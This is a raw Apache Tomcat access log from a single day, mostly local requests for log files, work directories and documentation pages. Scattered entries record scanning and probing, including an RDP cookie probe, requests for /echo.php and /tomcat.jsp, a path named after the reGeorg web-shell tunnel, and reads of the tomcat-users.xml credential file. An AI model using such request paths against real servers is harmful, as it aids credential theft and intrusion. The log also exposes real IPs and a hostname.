/bin/nullI2017-09-181505769216637.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:31:49 -0500] "GET /logs/localhost_access_log..2022-08-31.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:36:29 -0500] "GET /?C=S;O=D HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:03:45:38 -0500] "GET /bin/nullI2017-10-111507723377323.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:46:31 -0500] "GET /bin/nullI2017-10-111507721390164.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:49:43 -0500] "GET /webapps/1/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:51:47 -0500] "GET /webapps/docs/tribes/setup.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:52:37 -0500] "GET /logs/catalina.2023-08-10.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:52:39 -0500] "GET /logs/catalina.2023-08-27.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:03:56:05 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:03:56:05 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:03:56:09 -0500] "GET /work/Catalina/localhost/examples/org/apache/jsp/jsp/jsp2/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:04:18:24 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:04:18:24 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:04:25:56 -0500] "GET /logs/localhost_access_log..2022-06-03.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:04:26:00 -0500] "GET /logs/localhost_access_log..2022-10-27.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:04:26:04 -0500] "GET /logs/localhost_access_log..2022-11-21.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:04:26:07 -0500] "GET /logs/localhost_access_log..2022-12-03.txt HTTP/1.1" 200 2145 35.82.232.1 - - [30/Dec/2023:04:40:03 -0500] "GET / HTTP/1.1" 302 - 35.82.232.1 - - [30/Dec/2023:04:40:04 -0500] "OPTIONS / HTTP/1.1" 302 - 35.82.232.1 - - [30/Dec/2023:04:40:04 -0500] "PROPFIND / HTTP/1.1" 302 - 35.82.232.1 - - [30/Dec/2023:04:40:04 -0500] "OPTIONS * HTTP/1.1" 500 - 35.82.232.1 - - [30/Dec/2023:04:40:04 -0500] "GET /favicon.ico HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:04:50:02 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:04:50:02 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:04:50:02 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:04:50:03 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:05:15:23 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:05:15:23 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:05:17:35 -0500] "GET /logs/localhost_access_log..2022-05-23.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:18:30 -0500] "GET /logs/manager.2022-07-27.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:20:15 -0500] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/org/apache/jsp/WEB_002dINF/ HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:23:03 -0500] "GET /logs/localhost_access_log..2022-09-28.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:23:06 -0500] "GET /logs/localhost_access_log..2023-02-07.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:23:10 -0500] "GET /logs/localhost_access_log..2023-04-01.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:32:42 -0500] "GET /webapps/docs/appdev/deployment.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:34:15 -0500] "GET /temp/ehcache_auto_created8573379908259542782diskstore/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:43:41 -0500] "GET /temp/ehcache_auto_created8784360136923499228diskstore/?C=S;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:46:46 -0500] "GET /logs/catalina.2023-03-25.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:47:39 -0500] "GET /webapps/docs/config/jar-scan-filter.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:47:40 -0500] "GET /webapps/docs/config/resources.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:05:48:42 -0500] "GET /work/Catalina/localhost/wrapper-interface/?C=M;O=A HTTP/1.1" 200 2145 5.188.210.227 - - [30/Dec/2023:06:07:58 -0500] "GET /echo.php HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:06:11:40 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:06:11:40 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:06:18:17 -0500] "GET /logs/catalina.2019-10-21.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:22 -0500] "GET /logs/catalina.2020-07-30.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:26 -0500] "GET /logs/catalina.2021-08-23.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:29 -0500] "GET /logs/catalina.2021-08-28.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:32 -0500] "GET /logs/catalina.2022-03-14.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:34 -0500] "GET /logs/localhost_access_log..2019-07-19.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:36 -0500] "GET /logs/localhost_access_log..2019-11-07.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:38 -0500] "GET /logs/localhost_access_log..2022-02-23.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:39 -0500] "GET /logs/localhost_access_log..2022-02-27.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:40 -0500] "GET /logs/localhost_access_log..2022-04-27.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:18:41 -0500] "GET /logs/localhost_access_log..2022-09-11.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:35:50 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:06:35:51 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:06:35:54 -0500] "GET /temp/ehcache_auto_created8477804547255713106diskstore/%250050dfs%250043ache.data HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:46 -0500] "GET /logs/catalina.2019-03-29.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:47 -0500] "GET /logs/catalina.2019-04-13.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:48 -0500] "GET /logs/catalina.2022-04-05.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:49 -0500] "GET /logs/catalina.2022-06-22.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:50 -0500] "GET /logs/catalina.2022-09-07.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:51 -0500] "GET /logs/catalina.2022-11-17.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:52 -0500] "GET /logs/localhost_access_log..2021-09-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:53 -0500] "GET /logs/localhost_access_log..2022-02-05.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:36:54 -0500] "GET /webapps/1/META-INF/ HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:46:34 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:06:46:34 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:06:46:34 -0500] "GET /bin/nullI2017-10-171508224489164.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:06:55:50 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:06:55:50 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:06:55:51 -0500] "GET /LICENSE HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:06:55:51 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:07:05:47 -0500] "GET /bin/nullI2017-10-311509459805010.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:07:09:42 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:07:09:42 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:07:17:12 -0500] "GET /webapps/examples/websocket/drawboard.xhtml HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:07:26:58 -0500] "GET /work/Catalina/localhost/ROOT/org/?C=D;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:07:28:17 -0500] "GET /logs/localhost_access_log..2023-02-19.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:07:28:20 -0500] "GET /logs/localhost_access_log..2023-04-27.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:07:28:22 -0500] "GET /logs/localhost_access_log..2023-06-11.txt HTTP/1.1" 200 2145 185.198.69.30 - - [30/Dec/2023:07:39:56 -0500] "/*àCookie: mstshash=Administr " 400 - 127.0.0.1 - - [30/Dec/2023:07:40:50 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:07:40:51 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:07:42:13 -0500] "GET /temp/ehcache_auto_created7693212487952609675diskstore/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:07:42:44 -0500] "GET /webapps/tomcat/?C=M;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:06:29 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:08:06:29 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:08:11:14 -0500] "GET /logs/manager.2019-06-29.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:37 -0500] "GET /logs/catalina.2020-03-10.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:41 -0500] "GET /logs/catalina.2021-08-24.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:44 -0500] "GET /logs/catalina.2022-08-09.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:46 -0500] "GET /logs/localhost_access_log..2021-12-20.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:49 -0500] "GET /logs/localhost_access_log..2022-02-20.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:51 -0500] "GET /logs/localhost_access_log..2022-08-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:52 -0500] "GET /logs/localhost_access_log..2022-12-29.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:54 -0500] "GET /logs/localhost_access_log..2023-02-06.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:55 -0500] "GET /logs/localhost_access_log..2023-03-17.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:56 -0500] "GET /logs/localhost_access_log..2023-06-17.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:08:20:57 -0500] "GET /logs/localhost_access_log..2023-06-24.txt HTTP/1.1" 200 2145 1.234.41.218 - - [30/Dec/2023:08:23:59 -0500] "GET /docs/tomcat.jsp HTTP/1.1" 404 1022 1.234.41.218 - - [30/Dec/2023:08:24:01 -0500] "GET /tomcat.jsp HTTP/1.1" 302 - 1.234.41.218 - - [30/Dec/2023:08:24:02 -0500] "GET /login HTTP/1.1" 200 4254 1.234.41.218 - - [30/Dec/2023:08:24:03 -0500] "GET /tomcat.jsp HTTP/1.1" 302 - 1.234.41.218 - - [30/Dec/2023:08:24:03 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:08:28:47 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:08:28:47 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:08:28:48 -0500] "GET /bin/reGeorg/ HTTP/1.1" 200 2145 167.94.138.124 - - [30/Dec/2023:08:51:09 -0500] "-" 400 - 167.94.138.124 - - [30/Dec/2023:08:51:12 -0500] "GET / HTTP/1.1" 302 - 167.94.138.124 - - [30/Dec/2023:08:51:15 -0500] "GET / HTTP/1.1" 302 - 167.94.138.124 - - [30/Dec/2023:08:51:15 -0500] "PRI * HTTP/2.0" 505 - 167.94.138.124 - - [30/Dec/2023:08:51:18 -0500] "GET /login HTTP/1.1" 200 4254 167.94.138.124 - - [30/Dec/2023:08:51:18 -0500] "PRI * HTTP/2.0" 505 - 167.94.138.124 - - [30/Dec/2023:08:51:18 -0500] "GET /images/favicon.ico HTTP/1.1" 200 1150 167.94.138.124 - - [30/Dec/2023:08:51:18 -0500] "GET /favicon.ico HTTP/1.1" 302 - 167.94.138.124 - - [30/Dec/2023:08:51:18 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:09:04:23 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:09:04:23 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:09:18:31 -0500] "GET /logs/catalina.2019-08-21.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:09:18:35 -0500] "GET /logs/catalina.2019-09-21.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:09:18:39 -0500] "GET /logs/catalina.2020-04-28.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:09:18:42 -0500] "GET /logs/localhost_access_log..2019-07-11.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:09:18:45 -0500] "GET /logs/localhost_access_log..2022-05-30.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:09:18:47 -0500] "GET /logs/localhost_access_log..2023-06-25.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:09:22:16 -0500] "GET /temp/ehcache_auto_created6751109530967332143diskstore/%250055sers%250043ache.data HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:01:50 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:10:01:50 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:10:01:52 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:10:01:52 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:10:01:54 -0500] "GET /webapps/examples/jsp/error/home HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:01:54 -0500] "GET /webapps/examples/jsp/error/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:01:55 -0500] "GET /webapps/examples/jsp/error/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:01:55 -0500] "GET /webapps/examples/jsp/error/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:01:59 -0500] "GET /logs/catalina.2023-01-04.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:02:17 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:10:02:17 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:10:08:26 -0500] "GET /temp/ehcache_auto_created3351499621255065887diskstore/?C=S;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:14:26 -0500] "GET /logs/catalina.2021-07-24.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:14:30 -0500] "GET /logs/catalina.2021-09-22.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:14:33 -0500] "GET /logs/catalina.2021-10-22.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:14:35 -0500] "GET /logs/catalina.2022-03-03.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:14:38 -0500] "GET /logs/host-manager.2022-06-26.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:14:40 -0500] "GET /logs/localhost_access_log..2019-08-24.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:18:46 -0500] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/org/apache/jsp/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:27:07 -0500] "GET /temp/ehcache_auto_created5281633512249678738diskstore/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:35:35 -0500] "GET /conf/tomcat-users.xml HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:53:51 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:10:53:51 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:10:53:51 -0500] "GET /conf/ HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:10:57:45 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:10:57:45 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:11:05:29 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:11:05:29 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:11:09:42 -0500] "GET /logs/catalina.2020-02-25.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:09:47 -0500] "GET /logs/catalina.2020-08-29.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:09:50 -0500] "GET /logs/catalina.2020-09-17.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:09:53 -0500] "GET /logs/catalina.2021-07-31.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:09:56 -0500] "GET /logs/localhost_access_log..2021-09-28.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:09:58 -0500] "GET /logs/localhost_access_log..2023-02-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:10:00 -0500] "GET /logs/localhost_access_log..2023-03-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:10:02 -0500] "GET /logs/localhost_access_log..2023-03-24.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:15:03 -0500] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/org/apache/jsp/?C=M;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:11:52:54 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:11:52:54 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:12:03:46 -0500] "GET /logs/localhost_access_log..2019-09-25.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:03:51 -0500] "GET /logs/localhost_access_log..2020-03-19.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:03:54 -0500] "GET /logs/localhost_access_log..2020-09-28.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:03:58 -0500] "GET /logs/localhost_access_log..2020-10-16.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:04:00 -0500] "GET /logs/localhost_access_log..2022-09-05.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:04:03 -0500] "GET /logs/localhost_access_log..2022-12-11.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:04:04 -0500] "GET /logs/localhost_access_log..2023-02-15.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:04:06 -0500] "GET /logs/localhost_access_log..2023-04-26.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:19:22 -0500] "GET /temp/ehcache_auto_created9016764762938715479diskstore/%250055sers%250043ache.data HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:24:35 -0500] "GET /work/Catalina/cyberschoolelibrary.com/docs/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:45:07 -0500] "GET /logs/localhost_access_log..2022-07-07.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:12:51:24 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:12:51:24 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:12:55:33 -0500] "GET /logs/localhost_access_log..2023-03-04.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:01:41 -0500] "GET /logs/catalina.2022-09-08.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:01:45 -0500] "GET /logs/catalina.2023-04-10.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:01:48 -0500] "GET /logs/localhost_access_log..2020-08-20.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:01:51 -0500] "GET /logs/localhost_access_log..2023-01-10.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:01:53 -0500] "GET /logs/localhost_access_log..2023-04-02.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:14:31 -0500] "GET /logs/localhost_access_log..2022-02-28.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:17:38 -0500] "GET /webapps/tomcat/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:26:59 -0500] "GET /webapps/docs/config/valve.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:13:54:24 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:13:54:24 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:14:00:07 -0500] "GET /temp/?C=S;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:03:47 -0500] "GET /work/Catalina/localhost/pdf-manager/?C=M;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:17 -0500] "GET /logs/catalina.2019-07-22.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:20 -0500] "GET /logs/catalina.2019-09-03.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:23 -0500] "GET /logs/catalina.2020-06-24.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:25 -0500] "GET /logs/catalina.2021-08-10.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:27 -0500] "GET /logs/catalina.2022-02-24.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:29 -0500] "GET /logs/catalina.2022-08-17.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:30 -0500] "GET /logs/catalina.2022-12-10.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:06:31 -0500] "GET /logs/localhost_access_log..2019-08-22.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:11:28 -0500] "GET /work/Catalina/localhost/1/org/apache/jsp/?C=M;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:19:12 -0500] "GET /webapps/docs/appdev/source.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:14:25:42 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:14:25:44 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:14:51:17 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:14:51:17 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:15:01:19 -0500] "GET /logs/catalina.2019-11-26.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:01:23 -0500] "GET /logs/catalina.2020-09-04.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:01:27 -0500] "GET /logs/catalina.2020-10-19.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:04:31 -0500] "GET /work/Catalina/cyberschoolelibrary.com/manager/org/apache/jsp/?C=D;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:23:13 -0500] "GET /lib/tomcat-api.jar HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:33 -0500] "GET /logs/catalina.2019-04-24.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:35 -0500] "GET /logs/catalina.2021-11-08.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:37 -0500] "GET /logs/catalina.2022-01-02.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:38 -0500] "GET /logs/localhost.2019-09-05.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:39 -0500] "GET /logs/localhost_access_log..2019-02-26.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:40 -0500] "GET /logs/localhost_access_log..2019-03-15.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:41 -0500] "GET /logs/localhost_access_log..2019-11-05.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:42 -0500] "GET /logs/localhost_access_log..2020-06-18.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:43 -0500] "GET /logs/localhost_access_log..2020-07-16.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:44 -0500] "GET /logs/localhost_access_log..2021-07-17.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:45 -0500] "GET /logs/localhost_access_log..2021-09-08.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:24:46 -0500] "GET /logs/localhost_access_log..2022-01-11.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:47:41 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:15:47:41 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:15:51:47 -0500] "GET /logs/localhost_access_log..2022-10-05.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:10 -0500] "GET /logs/catalina.2019-04-26.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:13 -0500] "GET /logs/catalina.2019-07-02.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:17 -0500] "GET /logs/catalina.2019-09-16.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:20 -0500] "GET /logs/catalina.2021-11-01.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:23 -0500] "GET /logs/catalina.2022-12-06.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:25 -0500] "GET /logs/host-manager.2019-05-05.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:26 -0500] "GET /logs/localhost_access_log..2022-10-28.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:15:58:28 -0500] "GET /logs/localhost_access_log..2023-05-02.txt HTTP/1.1" 200 2145 167.94.145.51 - - [30/Dec/2023:16:00:11 -0500] "-" 400 - 167.94.145.51 - - [30/Dec/2023:16:00:14 -0500] "GET / HTTP/1.1" 302 - 167.94.145.51 - - [30/Dec/2023:16:00:17 -0500] "GET / HTTP/1.1" 302 - 167.94.145.51 - - [30/Dec/2023:16:00:17 -0500] "PRI * HTTP/2.0" 505 - 167.94.145.51 - - [30/Dec/2023:16:00:23 -0500] "GET /login HTTP/1.1" 200 4254 167.94.145.51 - - [30/Dec/2023:16:00:23 -0500] "PRI * HTTP/2.0" 505 - 